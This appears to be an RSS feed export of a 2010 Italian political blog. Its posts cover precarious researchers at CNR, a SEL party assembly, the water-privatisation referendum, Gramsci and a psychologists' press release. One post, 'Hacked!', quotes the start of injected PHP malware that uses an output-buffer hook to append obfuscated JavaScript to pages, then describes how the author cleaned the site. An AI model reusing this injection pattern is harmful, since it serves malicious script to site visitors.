<p style="text-align: justify;">In conclusione, chiediamo l&#8217;attivazione di un percorso trasparente di discussione, che eviti il frustrante inseguimento delle voci di corridoio e che metta in gioco la visione del futuro del CNR. Sentiamo la necessità di realizzare un incontro aperto, come quello proposto oggi, mirato ad affrontare il tema della politica delle assunzioni nei suoi aspetti fondamentali. Un incontro che deve essere portato avanti sulla base di numeri chiari che riguardino sia i fondi, sia il personale. Cifre per le quali è necessario avviare da subito un censimento ufficiale che conteggi finalmente anche quelle tipologie di contratto a termine che, nonostante il largo uso, sono state finora completamente ignorate nelle statistiche ufficiali del CNR. Vorremmo la partecipazione dei sindacati, sia come organi di rappresentanza dei lavoratori ma soprattutto come portatori di una visione di insieme dell&#8217;ente, della sua missione e delle sue priorità.</p>
<p style="text-align: right;">Assemblea dei Precari dell’ISTC<br />
Coordinamento precari dell’area di Montelibretti</p>
<p style="text-align: center;"><a href="http://www.vincenzofiore.it/wp-content/uploads/2010/05/3775136005_bfd52ab26c_b.jpg"><img class="aligncenter size-large wp-image-1561" title="3775136005_bfd52ab26c_b" src="http://www.vincenzofiore.it/wp-content/uploads/2010/05/3775136005_bfd52ab26c_b-585x390.jpg" alt="" width="585" height="390" /></a></p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://www.vincenzofiore.it/?p=1559" target="_blank"><img src="http://www.vincenzofiore.it/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://www.vincenzofiore.it/?p=1559" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
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		<item>
		<title>SEL &#8211; l&#8217;orizzonte degli eventi nel maggio romano 2010</title>
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		<pubDate>Thu, 20 May 2010 16:08:12 +0000</pubDate>
		<dc:creator>Vincenzo Fiore</dc:creator>
				<category><![CDATA[Analisi]]></category>
		<category><![CDATA[Biografia]]></category>
		<category><![CDATA[egemonia]]></category>
		<category><![CDATA[genealogia]]></category>
		<category><![CDATA[rappresentanza]]></category>
		<category><![CDATA[SEL]]></category>
		<category><![CDATA[testimonianza]]></category>

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Like an auto accident, you can&#8217;t keep your eyes off it
Come un incidente stradale, non puoi smettere di guardare
John Giorno
Premessa inutile
 Quando si scrive una cronaca occorre scrivere a caldo principalmente per due motivi:
1) perché dopo un po&#8217; si tende a ricostruire i ricordi, dando un filo logico ed un senso o una spiegazione a [...]]]></description>
			<content:encoded><![CDATA[<!--Searching /web/htdocs/www.vincenzofiore.it/home/wordpress/wp-content/random_poster: found 26 images in 0.00029499999999993 seconds-->
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<p style="text-align: right;"><em>Like an auto accident, you can&#8217;t keep your eyes off it<br />
Come un incidente stradale, non puoi smettere di guardare</em></p>
<p style="text-align: right;">John Giorno</p>
<h5 style="text-align: justify;"><strong>Premessa inutile</strong></h5>
<p style="text-align: justify;"><strong> </strong>Quando si scrive una cronaca occorre scrivere a caldo principalmente per due motivi:</p>
<p style="text-align: justify;">1) perché dopo un po&#8217; si tende a ricostruire i ricordi, dando un filo logico ed un senso o una spiegazione a fatti che non necessariamente hanno una razionalità esplicita (vedi: geneaologia della storia. Un luogo in cui si è già stati).</p>
<p style="text-align: justify;">2) perché il calcolo ci mette lo zampino e rovina la parresia. Un principio che non necessariamente deve essere inteso in senso negativo: si può voler rafforzare un processo positivo nascondendone gli aspetti negativi, ma alla lunga così facendo mi pare si corra il rischio di ottenere l&#8217;effetto opposto.</p>
<p style="text-align: justify;">A parte ciò, se qualcuno si è preso la briga di leggere andando oltre  termini come &#8220;genealogia&#8221;, e&#8221;parresia&#8221;, (e correndo il rischio di  trovarsi davanti anche &#8220;ontologico&#8221;, &#8220;epistemico&#8221; o &#8220;olistico&#8221;), vuol dire che difficilmente sarà spaventato dalla amara realtà.</p>
<p style="text-align: justify;">Certo, poi ci si mette di mezzo il lavoro&#8230; e ho finito con lo scrivere dopo un paio di giorni.</p>
<h5 style="text-align: justify;">Atto I &#8211; dove si spiega cosa sia successo, ma non perché</h5>
<p style="text-align: justify;">Finito il periodo di campagna elettorale con le dovute sconfitte elettorali, ad inizio aprile si decide di iniziare l&#8217;assemblea del partito a livello provinciale (Roma) con una analisi del voto. Ottimo: i flussi elettorali, dati alla mano, vengono sviscerati ed analizzati, il tutto alla ricerca del colpevole con l&#8217;arma in pugno. Che le elezioni siano state perse per una semplice questione matematica (gli &#8220;altri&#8221; hanno preso più voti) in effetti ci dice poco perché il fenomeno può essere ottenuto in molti modi diversi. Per farla breve, il problema non è stato un spostamento del voto (qualcuno che, avendo votato per il centro-sinistra, avrebbe poi deciso dopo 5 anni di votare per la destra), ma l&#8217;astensione non uniforme (ovvero in molti, soprattutto tra gli elettori di centro-sinistra, si sono astenuti dal voto).</p>
<p style="text-align: justify;">Dato tangibile: numeri alla mano, riscontrabile oggettivamente. Il centro-sinistra perde più elettori di quanti non ne perda la destra. Quindi, in una condizione di partenza di sostanziale parità, la destra vince. Amen.</p>
<h5>Atto II &#8211; dove dovvero non si riesce a spiegare perché</h5>
<p style="text-align: justify;">Da questo dato di partenza purtroppo non è possibile ricavare in modo lineare né le cause del fenomeno (personali, collettive, accidentali, strutturali&#8230; abbiamo solo prove indiziarie), né le modalità che ci possano permettere di invertire la tendenza, cosa che a sua volta può significare: 1) riportare gli elettori alle urne; oppure 2) spostare da una coalizione all&#8217;altra il voto di quelli che ancora si dedicano a tale esercizio.</p>
<p style="text-align: justify;">Con buona pace di chi ha dedicato qualche decina d&#8217;anni alla logica modale, questa condizione resta l&#8217;incubo dello scienziato determinista: non ci sono operatori che possano descrivere in modo sicuro quello che avviene e soprattutto, quello che sarebbe avvenuto SE&#8230; Che sarebbe successo se ci fosse stato un altro candidato presidente di regione? Cosa sarebbe successo se la coalizione fosse stata unita? Cosa sarebbe successo se il sistema di informazioni non fosse stato sotto pesante controllo? L&#8217;esperimento è singolare, unico, non ripetibile (con buona pace di tutti noi, tra cinque anni la situazione sarà comunque almeno un po&#8217; diversa).</p>
<p style="text-align: justify;">La patria dell&#8217;illazione, appunto. Spesso sostenuta dalla sola voce e credenza di chi la sostiene, senza l&#8217;ombra di un dubbio apparente. Due incontri consecutivi su questi due temi: cause del fenomeno e come uscirne.</p>
<h5>Atto III &#8211; la trama non decolla</h5>
<p>Quello che si impara dopo una decina di ore passate a discutere di questi argomenti (anche se in più di un appuntamento) è riassumibile in poche frasi:</p>
<p>1) leggi la citazione in testa a questo articolo;</p>
<p>2) basta poco per entrare nel tunnel e cominciare a prender parte alla giostra dell&#8217;illazione (non senza un certo divertimento sado-masochista);</p>
<p>3) una volta entrati nel tunnel non si ha più un&#8217;idea di cosa sia un bene strumentale e quale sia la differenza tra questo ed un bene finale.</p>
<p>La china si risale in senso inverso: un partito ed i voti (la fiducia) a cui questo partito aspira, sono entrambi beni strumentali: servono come strumento per raggiungere un bene finale. Quale? Semplificando, la trasformazione della società (che, sia detto per inciso, in questo momento sta andando in vacca). Riflettevo tra me assaporando il momento in cui avrei parlato in assemblea regionale per comunicare queste che mi sembravano grandi verità ignorate da tutti e aspettavo quindi con un po&#8217; di impazienza la terza assemblea (in cui sono finito dato che mi sono iscritto a parlare piuttosto tardi). Nella lunga attesa, ho modo di ascoltare Nichi Vendola dire nelle sue apparizioni in TV molte delle cose sulle quali stavo rimuginando, meglio di come stavo immaginando di fare io. Parlo anche con alcuni compagni e scopro di non avere pensieri poi così originali: da un lato è una cosa positiva, ma dall&#8217;altro, se la si pensa così, di che stiamo parlando?</p>
<p>Quando finalmente la convocazione arriva, la fonte è  atipica: un membro del direttivo nazionale (Francesco &#8220;Ciccio&#8221; Ferrara per la  cronaca).</p>
<h5>Atto IV &#8211; il colpo di scena</h5>
<p>E&#8217; così che si scopre che tutto ciò di cui avevamo parlato fino a quel momento non era che una parte del vero dibattito che animava SEL &#8211; Lazio: la parte esplicita. Forse non la parte ritenuta meno importante, ma decisamente quella che suscitava meno interesse negli iscritti. Arrivando al dunque: l&#8217;arbitro spedito dal direttivo nazionale ci spiega rapidamente quanto siamo stati capaci di far degenerare ed incancrenire l&#8217;organizzaione del partito nel Lazio e a Roma in particolare, fino a sfiorare il ridicolo. Non siamo riusciti ad eleggere un portavoce o un coordinamento in svariati mesi e siamo incapaci di indire una assemblea che svolga questo ruolo senza la presenza di un esterno!?</p>
<p>Per quale motivo tutto questo? Scontro sugli obiettivi? Sulle metodologie di <em>lotta</em>? Sulle priorità di intervento? Magari! Lo scontro è su chi ha diritto di voto nell&#8217;assemblea e chi non lo ha. Non so se avete mai partecipato ad una assemblea in cui si discute se i presenti sono o meno legittimati a votare: a me è capitato diverse volte durante le varie <em>agitazioni</em> nel periodo del liceo e durante l&#8217;università. Ho sempre trovato la cosa ridicola. Adesso so che non era cosa rara.</p>
<h5 style="text-align: justify;">Atto V &#8211; il surreale e l&#8217;osceno</h5>
<p style="text-align: justify;">Seguono qualcosa come 3 ore abbondanti (dalle 17:30, fino alle 21:00) di dibattito interno sul solo argomento &#8220;chi può votare e chi deve essere escluso&#8221;, con qualche intermezzo sul genere &#8220;basta parlare solo di noi stessi&#8221;, in cui si parla comunque solo di noi stessi (come, per essere onesti, sto facendo io adesso). La pietra dello scandalo: i cosidetti <em>delegati di diritto</em>. Ovvero un gruppo di 18 iscritti che, per il loro ruolo svolto nel passatto all&#8217;interno di uno dei gruppi fondatori, hanno avuto diritto di voto nelle assemblee precedenti. Gruppo cresciuto fino a raggiungere i 48 membri, per bilanciare i valori di voto delle rispettive componenti originarie e poi sceso a 10 membri in quest&#8217;ultima votazione, dopo aver tolto i 30 abusivi (che nessuno sa chi abbia aggiunto&#8230; o meglio chi lo sa, non ne vuole parlare) e 8 degli originali 18 perchè rivestono incarichi nel nazionale. Sempre per la cronaca gli &#8220;altri&#8221; delegati, quelli non di diritto, sono 50.</p>
<p style="text-align: justify;">Ore 17:30: relazione di Ciccio Ferrara, con proposta di metodologia di voto.</p>
<p style="text-align: justify;">Ore 21:30: inizio votazioni con metodologia identica a quella proposta all&#8217;inizio.</p>
<p style="text-align: justify;">Il tutto  per un ruolo che durerà circa 3 mesi, dato che poi per il congresso  (ottobre) si vanno a rinominare delegati, portavoce e coordinamento.</p>
<p>Questa la  parte surreale. Poi c&#8217;è l&#8217;osceno.</p>
<p style="text-align: justify;">Quando si presenta Marco Furrfaro, candidato a diventare portavoce regionale, prova a fare un breve discorso per presentare se stesso e le proprie idee, parlando di un caso esemplificativo di morte bianca per indicare nel lavoro (in relazione a sicurezza e precarietà) un tema che ritiene centrale per SEL. La sensazione in sala è che non avrebbe potuto fregare di meno alla maggior parte dei presenti: buona parte presi -comunque e sempre- dal problema di chi deve votare.</p>
<p style="text-align: justify;">Quando si formarono a ottobre scorso le commissioni per il regolamento e quella per il programma, sentii dire di sfuggita a qualcuno  del direttivo, una &#8220;veterana&#8221; della politica (direi il nome, se mi ricordassi distintamente chi fosse) che la prima era l&#8217;unica a contare qualcosa. Mi è rimasto impresso perché la sola ipotesi che tra regolamento e programma sia più importante il primo, continua anche oggi a sembrarmi folle. Anche se adesso capisco in che contesto si collochi questa idea.</p>
<h5 style="text-align: justify;">Epiologo</h5>
<p style="text-align: justify;">
<p style="text-align: justify;">Mi restano delle domande retoriche e un invito:</p>
<p style="text-align: justify;">1) la forma assembleare (fatta così) a che serve? Si entra con una idea, si esce con la stessa idea. Non c&#8217;è vera interlocuzione, non c&#8217;è crescita, il confronto è scarso e spesso si ha paura del voto; gli accordi su idee, progetti e persone vengono raggiunti prima di iniziare l&#8217;assemblea. In questo caso  alla fine ci è andata anche bene, dato che Marco e almeno un membro del coordinamento (Ylenia, l&#8217;unica che conosco, per questo dico &#8220;almeno uno&#8221;), sono delle ottime persone a cui non affiderei niente di meno, ma la domanda resta. Io non sono innamorato della forma, ma se questa è un paravento, mi sento anche preso per il culo.</p>
<p style="text-align: justify;">2) Perché SEL poggia così insistentemente su contesti opachi? Questi contesti che permettono o forse incentivano le decisioni sottobanco, le liti personali, che alla luce del sole sarebbero molto meno, per chiara consapevolezza della loro stupidità. L&#8217;organizzazione, il soggetto politico, di certo non ne trae vantaggio, ma alcuni dei suoi membri pensano forse di poterne trarre per sé stessi. Un&#8217;ottica miope che parassita e distrugge la stessa entità che ne permette la vita.</p>
<p style="text-align: justify;">Sarà un caso, ma più aumento la mia militanza, più mi radicalizzo intorno ad un nocciolo ristretto di pensieri minimi: prima chiedevo percorsi di uscita dalla crisi, politiche di inclusione per i migranti, la rivalutazione della scuola e della sua funzione nel permettere la mobilità sociale, lo sviluppo sostenibile, la ricostruzione di uno scenario sociale frantumato, il ribaltamento della logica di potere.</p>
<p style="text-align: justify;">Adesso chiedo trasparenza, chiarezza, esplicitazione, responsabilità, identificazione del chi, dove, come e con che obiettivi in quali tempi, perché altrimenti quei temi precedenti non potranno neanche essere affrontati da lontano. Di questi tempi, una rivoluzione, che chiedono in molti anche in SEL, ma che avremo difficoltà a portare avanti se saremo pochi. L&#8217;ho già detto molte volte: non è il tempo di delegare: iscrivetevi, partecipate, trasformate.</p>
<p style="text-align: justify;">TESSERAMENTO -&gt; <a href="http://www.sinistraeliberta.eu/tesseramento2010/" target="_blank">http://www.sinistraeliberta.eu/tesseramento2010/</a></p>
<p style="text-align: justify;">LA NOTIZIA DELL&#8217;ELEZIONE DEL PORTAVOCE &#8211; &gt; <a href="http://www.sinistraeliberta.eu/comunicati-stampa-territori/lazio-sel-furfaro-eletto-nuovo-portavoce-regionale" target="_blank">http://www.sinistraeliberta.eu/comunicati-stampa-territori/lazio-sel-furfaro-eletto-nuovo-portavoce-regionale</a></p>
<p style="text-align: center;"><a href="http://www.vincenzofiore.it/wp-content/uploads/2010/05/orizzonte.jpg"><img class="aligncenter size-large wp-image-1537" title="orizzonte" src="http://www.vincenzofiore.it/wp-content/uploads/2010/05/orizzonte-585x390.jpg" alt="" width="585" height="390" /></a></p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://www.vincenzofiore.it/?p=1513" target="_blank"><img src="http://www.vincenzofiore.it/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://www.vincenzofiore.it/?p=1513" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
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		<title>L&#8217;acqua non si vende: info di base per la campagna referendaria</title>
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		<pubDate>Wed, 19 May 2010 16:23:45 +0000</pubDate>
		<dc:creator>Vincenzo Fiore</dc:creator>
				<category><![CDATA[Avviso]]></category>
		<category><![CDATA[ACEA]]></category>
		<category><![CDATA[acqua pubblica]]></category>
		<category><![CDATA[referendum]]></category>

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Il  Forum Italiano dei Movimenti per l’Acqua, costituito  da centinaia di comitati territoriali che si oppongono alla  privatizzazione, insieme a numerose realtà sociali e culturali ha deciso  di promuovere 3 quesiti referendari, depositati presso  la Corte di Cassazione di Roma mercoledì 31 marzo 2010. Sosterranno  tale iniziativa anche diverse [...]]]></description>
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<p>Il  <strong>Forum Italiano dei Movimenti per l’Acqua</strong>, costituito  da centinaia di comitati territoriali che si oppongono alla  privatizzazione, insieme a numerose realtà sociali e culturali ha deciso  di promuovere <strong>3 quesiti referendari</strong>, depositati presso  la Corte di Cassazione di Roma mercoledì 31 marzo 2010. Sosterranno  tale iniziativa anche diverse forze politiche.</p>
<p>A partire dal <strong>sabato 24 aprile</strong> inizieremo la raccolta delle firme, in tre mesi dovremo arrivare almeno  a quota <strong>500.000</strong> per poter richiedere i referendum. I  banchetti per la raccolta delle firme saranno allestiti su tutto il  territorio nazionale.</p>
<p>I  quesiti referendari</p>
<p><strong>Primo  quesito:</strong><br />
<strong> </strong><br />
«Volete voi che sia abrogato l’art. 23  bis (Servizi pubblici locali di rilevanza economica) del decreto legge  25 giugno 2008 n. 112 “<em>Disposizioni urgenti per lo sviluppo  economico, la semplificazione, la competitività, la stabilizzazione  della finanza pubblica e la perequazione tributaria”</em> convertito,  con modificazioni, in legge 6 agosto 2008, n. 133, come modificato  dall’art. 30, comma 26 della legge 23 luglio 2009, n. 99 recante “<em>Disposizioni   per lo sviluppo e l’internazionalizzazione delle imprese, nonché in  materia di energia”</em> e dall’art. 15 del decreto-legge 25 settembre  2009, n. 135, recante “<em>Disposizioni urgenti per l’attuazione di  obblighi comunitari e per l’esecuzione di sentenze della corte di  giustizia della Comunità europee” </em>convertito, con modificazioni, in  legge 20 novembre 2009, n. 166?»</p>
<p><strong>Secondo quesito:</strong><br />
<strong> </strong><br />
«Volete voi che sia abrogato l’art.  150 (Scelta della forma di gestione e procedure di affidamento) del  Decreto Legislativo n. 152 del 3 aprile 2006 <em>“Norme in materia  ambientale”</em>, come modificato dall’art. 2, comma 13 del decreto  legislativo n. 4 del 16 gennaio 2008</p>
<p><strong>Terzo quesito:</strong><br />
«Volete voi che sia abrogato il comma  1, dell’art. 154 (Tariffa del servizio idrico integrato) del Decreto  Legislativo n. 152 del 3 aprile 2006 <em>“Norme in materia ambientale”</em>,  limitatamente alla seguente parte: “dell’adeguatezza della  remunerazione del capitale investito”?»</p>
<p>516.615  firme raccolte in 25 giorni di banchetti e iniziative in tutta  Italia. Un risultato incredibile anche per noi, raggiunto in poco più di  tre settimane grazie all&#8217;impegno e all&#8217;entusiasmo di migliaia di  cittadine e cittadini dell&#8217;acqua pubblica. Qui trovate la <a href="http://www.acquabenecomune.org/raccoltafirme/index.php?option=com_content&amp;view=article&amp;id=53&amp;Itemid=65" target="_blank">mappa</a> dei banchetti. L&#8217;obiettivo che il Comitato Promotore si era posto  (700mila firme) è ormai in vista e può essere superato. Da qui a luglio  lanceremo eventi, feste, spettacoli per coinvolgere sempre più italiani  in questa civile lotta di democrazia per togliere le mani degli  speculatori dall&#8217;acqua riconsegnandola ai cittadini e ai Comuni.</p>
<p><a href="http://www.acquabenecomune.org/raccoltafirme/" target="_blank">http://www.acquabenecomune.org/raccoltafirme/</a></p>
<p style="text-align: center;">
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/tSn3Q3ccbtk&amp;hl=en_GB&amp;fs=1&amp;color1=0x5d1719&amp;color2=0xcd311b" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/tSn3Q3ccbtk&amp;hl=en_GB&amp;fs=1&amp;color1=0x5d1719&amp;color2=0xcd311b" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p style="text-align: center;"><a href="http://www.vincenzofiore.it/wp-content/uploads/2010/05/acqua_sel.jpg"><img class="aligncenter size-large wp-image-1539" title="acqua_sel" src="http://www.vincenzofiore.it/wp-content/uploads/2010/05/acqua_sel-585x390.jpg" alt="" width="585" height="390" /></a></p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://www.vincenzofiore.it/?p=1535" target="_blank"><img src="http://www.vincenzofiore.it/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://www.vincenzofiore.it/?p=1535" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
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		<title>Hacked!</title>
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		<pubDate>Thu, 13 May 2010 08:50:40 +0000</pubDate>
		<dc:creator>Vincenzo Fiore</dc:creator>
				<category><![CDATA[Analisi]]></category>
		<category><![CDATA[comunicazione]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hacked]]></category>
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Ovvero&#8230; colpito e affondato.
A fine aprile, uno o due giorni dopo la pubblicazione del post precedente dedicato all&#8217;anniversario di Gramsci, questo sito è stato colpito da un simpatico codicillo malware che vi incollo qui di seguito a futura memoria:
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<p>Ovvero&#8230; colpito e affondato.</p>
<p>A fine aprile, uno o due giorni dopo la pubblicazione del post precedente dedicato all&#8217;anniversario di Gramsci, questo sito è stato colpito da un simpatico codicillo malware che vi incollo qui di seguito a futura memoria:</p>
<blockquote><p>&lt;?php ob_start (&#8217;security_update&#8217;); function security_update ($buffer) {return $buffer.&#8217;  &lt;script language= &#8220;javascript&#8221;&gt; var  asdas= &#8220;asd8 (@+&#8221;;function z(s)<br />
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<p>Bello vero? Il codice, probabilmente agendo in completa autonomia (ovvero senza il controllo di un programmatore, ma con funzione da bot della rete), si è propagato in diversi files php, aggiungendosi in testa o in coda al testo normale.</p>
<p>Secondo il rapporto di google, questo codice è poi riuscito ad infettare un solo computer. Per fortuna so anche a chi appartiene: è il mio, che infatti ho dovuto formattare nella sua partizione windows, perdendo così la mia imbattibilità di circa 3 anni nei confronti di attacchi virus. Chapeau!</p>
<p>Non avendo molta esperienza di virus interni ad un blog (e complice il poco tempo a disposizione), ho impiegato poi qualche giorno a capire come ci si debba muovere in questo caso. Ecco come ho fatto, nel caso capiti anche a chi legge: back-up su pc di tutti i files, analisi dei files (aprendoli come file di testo uno ad uno, iniziando da index.php), rilevazione del codice malevolo, query per individuare il codice in tutti i files del back-up, cancellazione del codice malevolo dove presente, sovrascrittura di tutti i files da pc a server.</p>
<p>Più o meno funziona: ho ancora qualche problemino, ma il virus per il momento è andato.</p>
<p>Uno spasso che non sto neanche a raccontare&#8230; soprattutto grazie ai divertentissimi messaggi allarmistici di google!</p>
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		<title>Ostracismo egemonico</title>
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		<pubDate>Tue, 27 Apr 2010 22:00:12 +0000</pubDate>
		<dc:creator>Vincenzo Fiore</dc:creator>
				<category><![CDATA[Biografia]]></category>
		<category><![CDATA[egemonia]]></category>
		<category><![CDATA[Gramsci]]></category>
		<category><![CDATA[potere]]></category>
		<category><![CDATA[Storia]]></category>

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Una delle cose che mi colpisce di più, oggi, riguardo al pensiero di Antonio Gramsci è la forza con cui è stato in passato e venga tutt&#8217;ora cancellato dai programmi didattici della scuola e spesso anche nelle università (con riferimento all&#8217;insegnamento della filosofia).
Una pura follia, che in parte deve essere motivata dalla consapevolezza della validità [...]]]></description>
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<p>Una delle cose che mi colpisce di più, oggi, riguardo al pensiero di Antonio Gramsci è la forza con cui è stato in passato e venga tutt&#8217;ora cancellato dai programmi didattici della scuola e spesso anche nelle università (con riferimento all&#8217;insegnamento della filosofia).</p>
<p>Una pura follia, che in parte deve essere motivata dalla consapevolezza della validità del suo pensiero ancora oggi, soprattutto nei suoi riferimenti all&#8217;egemonia culturale. Questa scelta è però in parte dovuta anche a semplice sciatteria, mista ad un generico sentimento di rivalsa nei confronti del PCI da parte di chi è stato per anni nella stanza dei bottoni del ministero dell&#8217;istruzione. Penso che ci sia questa componente per un semplice motivo: all&#8217;estero (per esempio per mia esperienza diretta nel mondo anglosassone) nessuno che si dica studiare i temi della filosofia politica potrebbe immaginare di tralasciare lo studio degli scritti di questo filosofo italiano (uno dei rari) o delle innumerevoli analisi compiute da altri a partire dal suo pensiero (a prescindere dal fatto che ne condivida o meno le conclusioni, ovviamente).</p>
<p>Nell&#8217;anniversario della morte, vale la pena rileggere un testo citato un po&#8217; ovunque: peronalmente, ogni volta che mi capita di rileggerlo, mi chiedo quanto sia cambiato il nostro Paese e mi domando &#8220;Che fare?&#8221;. Ma questa è un&#8217;altra Storia.</p>
<p><em>Odio gli indifferenti. Credo che vivere voglia dire essere partigiani.   Chi vive veramente non può non essere cittadino e partigiano.   L’indifferenza è abulia, è parassitismo, è vigliaccheria, non è vita.   Perciò odio gli indifferenti.</em></p>
<p><em>L’indifferenza è il peso morto della storia. L’indifferenza opera   potentemente nella storia. Opera passivamente, ma opera. È la fatalità; è   ciò su cui non si può contare; è ciò che sconvolge i programmi, che   rovescia i piani meglio costruiti; è la materia bruta che strozza   l’intelligenza. Ciò che succede, il male che si abbatte su tutti,   avviene perché la massa degli uomini abdica alla sua volontà, lascia   promulgare le leggi che solo la rivolta potrà abrogare, lascia salire al   potere uomini che poi solo un ammutinamento potrà rovesciare. Tra   l’assenteismo e l’indifferenza poche mani, non sorvegliate da alcun   controllo, tessono la tela della vita collettiva, e la massa ignora,   perché non se ne preoccupa; e allora sembra sia la fatalità a travolgere   tutto e tutti, sembra che la storia non sia altro che un enorme   fenomeno naturale, un’eruzione, un terremoto del quale rimangono vittime   tutti, chi ha voluto e chi non ha voluto, chi sapeva e chi non sapeva,   chi era stato attivo e chi indifferente. Alcuni piagnucolano   pietosamente, altri bestemmiano oscenamente, ma nessuno o pochi si   domandano: se avessi fatto anch’io il mio dovere, se avessi cercato di   far valere la mia volontà, sarebbe successo ciò che è successo?</em></p>
<p><em>Odio gli indifferenti anche per questo: perché mi dà fastidio il loro   piagnisteo da eterni innocenti. Chiedo conto a ognuno di loro del come   ha svolto il compito che la vita gli ha posto e gli pone   quotidianamente, di ciò che ha fatto e specialmente di ciò che non ha   fatto. E sento di poter essere inesorabile, di non dover sprecare la mia   pietà, di non dover spartire con loro le mie lacrime.</em></p>
<p><em>Sono partigiano, vivo, sento nelle coscienze della mia parte già  pulsare  l’attività della città futura che la mia parte sta costruendo. E  in  essa la catena sociale non pesa su pochi, in essa ogni cosa che  succede  non è dovuta al caso, alla fatalità, ma è intelligente opera  dei  cittadini. Non c’è in essa nessuno che stia alla finestra a  guardare  mentre i pochi si sacrificano, si svenano. Vivo, sono  partigiano. Perciò  odio chi non parteggia, odio gli indifferenti</em>.</p>
<p>11 febbraio 1917</p>
<p>Antonio Gramsci (Ales, 22 gennaio 1891 – Roma, 27 aprile  1937) è  stato  un politico, filosofo e giornalista italiano. Tra i  fondatori del   Partito Comunista d’Italia (1921), fu incarcerato fra il  1926 e il  1937  dal regime fascista di Mussolini e rilasciato poco  prima della  morte,  avvenuta in seguito al grave deterioramento delle  sue condizioni  di  salute durante gli anni di prigionia.</p>
<p><a href="www.fondazionegramsci.org" target="_blank">www.fondazionegramsci.org</a><br />
<a href="www.antoniogramsci.com" target="_blank">www.antoniogramsci.com</a></p>
<p><img class="aligncenter size-large wp-image-1464" title="gramsci" src="http://www.vincenzofiore.it/wp-content/uploads/2010/04/gramsci-585x585.jpg" alt="" width="585" height="585" /></p>
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		<title>Bertone e la gaia scienza</title>
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		<pubDate>Mon, 19 Apr 2010 10:08:35 +0000</pubDate>
		<dc:creator>Vincenzo Fiore</dc:creator>
				<category><![CDATA[Analisi]]></category>
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COMUNICATO STAMPA
16 aprile 2010
L’Associazione Italiana di Psicologia (AIP), principale Società Scientifica rappresentativa della Psicologia e della Ricerca Psicologica Italiana, apprese le parole pronunciate dal Cardinale Tarcisio Bertone durante la visita in Cile (“numerosi psichiatri e psicologi &#8230;. hanno dimostrato che esiste un legame tra omosessualità e pedofilia&#8221;, Corriere della Sera.14.04.2010, p. 2), intende precisare che [...]]]></description>
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<p>COMUNICATO STAMPA</p>
<p>16 aprile 2010</p>
<p style="text-align: justify;">L’Associazione Italiana di Psicologia (AIP), principale Società Scientifica rappresentativa della Psicologia e della Ricerca Psicologica Italiana, apprese le parole pronunciate dal Cardinale Tarcisio Bertone durante la visita in Cile (“numerosi psichiatri e psicologi &#8230;. hanno dimostrato che esiste un legame tra omosessualità e pedofilia&#8221;, Corriere della Sera.14.04.2010, p. 2), intende precisare che la letteratura scientifica sull’argomento non supporta in alcun modo quanto sostenuto dal Segretario di Stato della Santa Sede e che è anzi dimostrato che vittime di abuso sono tanto i bambini quanto le bambine.</p>
<p style="text-align: justify;">In particolare, in qualità di Psicologi, Psicoterapeuti e Ricercatori sentiamo il dovere di precisare che le parole pronunciate dal Cardinale, oltre che assolutamente prive di evidenza scientifica, paiono rilanciare una pericolosa re-interpretazione in chiave psicopatologica dell’omosessualità, condizione invece da anni esplicitamente esclusa dalla nosografia psichiatrica in uso.</p>
<p style="text-align: justify;">Pur prendendo atto delle successive dichiarazioni di rettifica, l&#8217;AIP sente il dovere di precisare che &#8220;patologizzare&#8221; l’omosessualità, invocando in modo improprio il supporto della comunità scientifica, non fa che aumentare l’omofobia, che è la vera malattia da combattere. L’errato riferimento alla letteratura psicologica, sociologica o psichiatrica appare estremamente dannoso per lo sforzo che, da anni, clinici e ricercatori intraprendono a vantaggio della salute psichica della popolazione, sia dei minori (abusati e non) che degli abusanti (questi sì realmente malati). L&#8217;AIP pertanto invita tutti coloro che ricoprono importanti ruoli istituzionali, e che quindi hanno un peso incisivo sulla pubblica opinione, a prestare maggiore attenzione alla ricerca scientifica e a diffondere correttamente i suoi risultati conoscitivi e applicativi.</p>
<p>prof. Roberto Cubelli</p>
<p>Presidente Associazione Italiana di Psicologia</p>
<p><a href="http://www.vincenzofiore.it/wp-content/uploads/2010/04/atheist-cartoon.gif"><img class="aligncenter size-full wp-image-1455" title="atheist-cartoon" src="http://www.vincenzofiore.it/wp-content/uploads/2010/04/atheist-cartoon.gif" alt="" width="400" height="529" /></a></p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;"><!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } --></p>
<p class="western" style="margin-bottom: 0cm;"><span style="color: #000000;"><span style="font-family: Monaco;"><span style="font-size: x-small;">COMUNICATO STAMPA</span></span></span></p>
<p class="western" style="margin-bottom: 0cm;"><span style="color: #000000;"><span style="font-family: Monaco;"><span style="font-size: x-small;">16 aprile 2010 </span></span></span></p>
